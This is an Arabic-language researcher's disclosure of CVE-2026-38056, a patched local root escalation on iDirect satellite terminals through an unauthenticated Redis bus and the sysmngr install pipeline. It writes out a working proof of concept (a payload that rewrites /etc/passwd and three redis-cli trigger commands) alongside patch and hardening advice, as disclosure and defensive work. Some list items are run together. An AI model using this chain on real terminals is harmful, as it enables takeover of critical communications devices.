
إثبات مفهوم لـ CVE-2026-38056: ناقل Redis IPC غير الموثّق على طرفيات iDirect satellite يتيح لأي مستخدم محلي تشغيل تنفيذ سكربت بصلاحيات الجذر عبر sysmngr.
تصعيد الصلاحيات المحلي عبر ناقل IPC غير المصادق عليه في Redis
ICSA-26-183-01 | CVE-2026-38056 | CVSS 4.0 9.4 (حرج) | CWE-862 | تم الترقيع
كان الجهاز المختبر هو iQ200 وهو من تصنيع ST Engineering iDirect. إنه مودم أقمار صناعية تجده مثبتًا في الخزائن على منصات النفط وسفن الشحن والمواقع الميدانية العسكرية وأي مكان يحتاج إلى اتصال موثوق حيث لا تصل الروابط الأرضية. من النوع الذي يُهيَّأ مرة واحدة، ويوضع في خزانة، ويُترك لسنوات.
أمضيت بضعة أيام في العبث به. انتهى بي الأمر إلى اكتشاف عدة ثغرات يوم-صفر، وسأشرح واحدة منها فقط هنا.
| المورّد | ST Engineering iDirect |
| المنتجات | طرفيات iQ‑Series، طرفيات 3315‑Series، طرفيات 9‑Series |
| البرنامج الثابت | <=4.5.2.1 |
| المكوّنات الرئيسية | Redis 3.2.5 (ناقل IPC)، sysmngr (خادم مدير النظام) |
برزت بعض الأمور فورًا. Redis 3.2.5 من عام 2016. هذا ليس بالضرورة قابلًا للاستغلال بحد ذاته، لكنه يخبرك بشيء عن دورة حياة التطوير ومقدار الاهتمام الذي تحظى به الأمان.
عندما حصلت على وصول إلى الصدفة باستخدام الحساب منخفض الصلاحيات المرفق (المستخدم لمشغلي الميدان)، كان أول ما فعلته هو النظر في ما يستمع على الشبكة.
$ netstat -tlnp
Redis على المنفذ 6379 لفت انتباهي. وجود Redis على مودم أقمار صناعية مدمج أمر غير معتاد، فهو عادةً تقنية من جانب الخادم. حاولت الاتصال:
$ redis-cli PING
PONG
لا توجد كلمة مرور. لا توجد مصادقة على الإطلاق.
هذا مثير للاهتمام لكنه ليس بالضرورة ثغرة بحد ذاته. كان الوضع المحمي (protected-mode) مُفعّلًا، مما يحظر الاتصالات البعيدة، لذا كان Redis متاحًا محليًا فقط. كان السؤال: ما الذي يُستخدم له Redis، وهل يتحكم في أي شيء حساس؟
قمت باستخراج جميع المفاتيح:
$ redis-cli KEYS '*'
عاد 48 مفتاحًا. كان معظمها بيانات قياس عن بُعد وحالة، وحالة المودم، ومستويات الإشارة، وعدّادات مدة التشغيل. لكن ثلاثة مفاتيح برزت:
INSTALL_SCRIPT
INSTALL_DIR
INSTALL_START
بدا ذلك وكأنه خط أنابيب لتثبيت البرمجيات.
تعمقت في العمليات قيد التشغيل ووجدت sysmngr، وهو عفريت مدير النظام الذي يعمل بصلاحيات الجذر (root). ومن خلال فحص سلوكه (مراقبة أنماط الوصول إلى الملفات، ومراقبة نشاط العمليات، واختبار تغييرات المفاتيح)، اكتشفت كيف يعمل خط أنابيب التثبيت:
sysmngr باستمرار المفتاح INSTALL_START باستخدام GETSET (قراءة القيمة الحالية، وتعيينها إلى صفر)INSTALL_START إلى قيمة غير صفرية، يقرأ sysmngr المفتاح INSTALL_SCRIPTINSTALL_SCRIPT بصلاحيات الجذر (root)INSTALL_DIR كدليل العمللا يوجد فحص للتوقيع على السكربت. لا توجد قائمة بيضاء للمسارات. لا يوجد التحقق من ملكية الملف. لا يوجد فحص للأذونات. إنه ينفّذه فقط.
كان افتراض التصميم واضحًا: "لن تكتب سوى عمليات iDirect الموثوقة إلى هذه المفاتيح." لكن Redis لا يحتوي على أي تحكم في الوصول مفعّل، ويأتي redis-cli مثبتًا مسبقًا على الجهاز. يمكن لأي مستخدم محلي الكتابة إلى أي مفتاح.
يستغرق التصعيد الكامل حوالي 10 ثوانٍ ويتطلب بالضبط ثلاثة أوامر بالإضافة إلى كتابة سكربت الحمولة. لا حاجة لأدوات إضافية، فكل شيء موجود بالفعل على الجهاز.
ابدأ كمستخدم غير مميز:
$ whoami
testuser
$ id
uid=1002(testuser) gid=1002(testuser) groups=1002(testuser)
كتابة حمولة:
$ mkdir -p /tmp/pkg
$ cat > /tmp/escalate.sh << 'EOF'
#!/bin/sh
sed -i 's/^testuser:x:1002:1002/testuser:x:0:0/' /etc/passwd
EOF
$ chmod +x /tmp/escalate.sh
تنفيذ المُشغِّل:
$ redis-cli SET INSTALL_DIR /tmp/pkg
OK
$ redis-cli SET INSTALL_SCRIPT /tmp/escalate.sh
OK
$ redis-cli SET INSTALL_START 1
OK
انتظر ثانيتين. سجّل الدخول مرة أخرى:
$ ssh [email protected]
$ whoami
root
$ id
uid=0(root) gid=0(root)
هذا كل شيء. انتقل testuser من UID 1002 إلى UID 0.
الحمولة التي استخدمتها هنا بسيطة، فهي تعدّل فقط /etc/passwd لتغيير UID. لكن بمجرد أن تحصل على تنفيذ برمجي عشوائي بصلاحيات الجذر على هذا الجهاز، تنفتح الاحتمالات على مصراعيها: أبواب خلفية دائمة، تعديل البرنامج الثابت، اعتراض حركة المرور، حصاد بيانات الاعتماد، التلاعب برابط القمر الصناعي، الحركة الجانبية إلى أجهزة شبكة أخرى.
عيبان في التصميم يتسلسلان معًا:
1. ناقل Redis IPC لا يملك أي تحكم في الوصول.
يُنشر Redis كناقل مشترك بين عمليات النظام دون أي مصادقة (requirepass فارغ). يفترض نموذج الثقة الضمني أن عمليات iDirect وحدها هي التي ستتصل. ينهار هذا الافتراض في اللحظة التي يحصل فيها أي مستخدم على وصول إلى الصدفة، لأن redis-cli مثبّت مسبقًا ولا شيء يمنع مستخدمًا محليًا من قراءة أو كتابة كل مفتاح على الناقل.
2. ينفّذ sysmngr البرامج النصية دون تحقق.
تثق خط أنابيب تثبيت البرمجيات بقيمة INSTALL_SCRIPT دون قيد أو شرط. لا يحتاج البرنامج النصي إلى أن يكون في دليل محدد، ولا يحتاج إلى أن يكون موقّعًا، ولا يحتاج إلى أن يكون مملوكًا للجذر، ولا يحتاج إلى اجتياز أي فحص سلامة. sysmngr ينفّذه فحسب.
أي من العيبين بمفرده سيكون ثغرة. ومعًا، يشكّلان سلسلة تصعيد صلاحيات موثوقة وبسيطة.
الخطأ الأساسي شائع في الأنظمة المدمجة: معاملة "المحلي" على أنه مكافئ لـ"الموثوق". في نظام متعدد المستخدمين، لا سيما نظام يحصل فيه فنيو الميدان على حسابات مقيّدة، فإن localhost ليس حدًا للثقة. العمليات التي تعمل كمستخدمين مختلفين على الجهاز نفسه ليست متساوية في الصلاحيات، وآليات IPC بينها تحتاج إلى فرض ذلك.
هذه ليست ثغرة نظرية. الاستغلال بسيط وموثوق ولا يستخدم سوى أدوات مثبّتة مسبقًا.
لهذا الجهاز تحديدًا:
idirect (UID 1500)، المخصص ليكون حسابًا مقيّدًا لفنيي الميدان، استغلال هذالعمليات نشر الأسطول:
9.4 (حرجة) CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
أصلحت ST Engineering iDirect الثغرة وتوصي المستخدمين بتحديث البرمجيات إلى الإصدار 4.5.3.0 أو أحدث.
1. إضافة مصادقة Redis. عيّن requirepass قويًا في /etc/idirect/redis.conf وحدّث جميع عمليات iDirect للمصادقة. هذا هو الحد الأدنى من الإصلاح القابل للتطبيق.
2. ربط Redis بواجهة loopback فقط. عيّن bind 127.0.0.1 لإزالة أي تعرّض للشبكة. (يساعد الوضع المحمي، لكن الربط الصريح يمثل دفاعًا متعدد الطبقات.)
3. التحقق من البرامج النصية قبل التنفيذ. هذا هو الإصلاح الأهم. ينبغي أن يتحقق sysmngr من أن أي برنامج نصي ينفّذه:
/mnt/active0/، /mnt/active1/، /mnt/factory/)حتى إذا تم تجاوز مصادقة Redis، فإن هذا يكسر سلسلة التصعيد.
4. إضافة قواعد جدار حماية على مستوى المضيف. iptables -A INPUT -p tcp --dport 6379 -i eth1 -j DROP دفاع متعدد الطبقات ضد تعرّض Redis للشبكة.
تحتل أطراف الأقمار الصناعية نقطة عمياء غريبة في الأمن. فهي بنية تحتية حرجة، حرفيًا الرابط الوحيد للاتصالات لمنصات النفط البحرية، والمواقع الصناعية النائية، والسفن البحرية، لكنها لا تحظى بنفس التدقيق الذي تحظى به أجهزة التوجيه أو جدران الحماية أو الخوادم. إنها أجهزة مدمجة تعمل بحزم برمجية قديمة، يديرها فرق الشبكات بدلًا من فرق الأمن، وتقع في رفوف لا يلمسها أحد لسنوات.
ولهذا السبب تحديدًا تحتاج إلى الاختبار.
إذا كنت تنشر محطات VSAT أو معدات ICS أو أي جهاز شبكي مدمج في بيئة إنتاج: اختبره أولاً. فالأخطاء موجودة هناك. سيأتي من يكتشفها في النهاية. والأفضل أن تكون أنت.
اكتشفه أحمد القحطاني مهندس أمن سيبراني لأنظمة OT/IT ومختبر اختراق [email protected]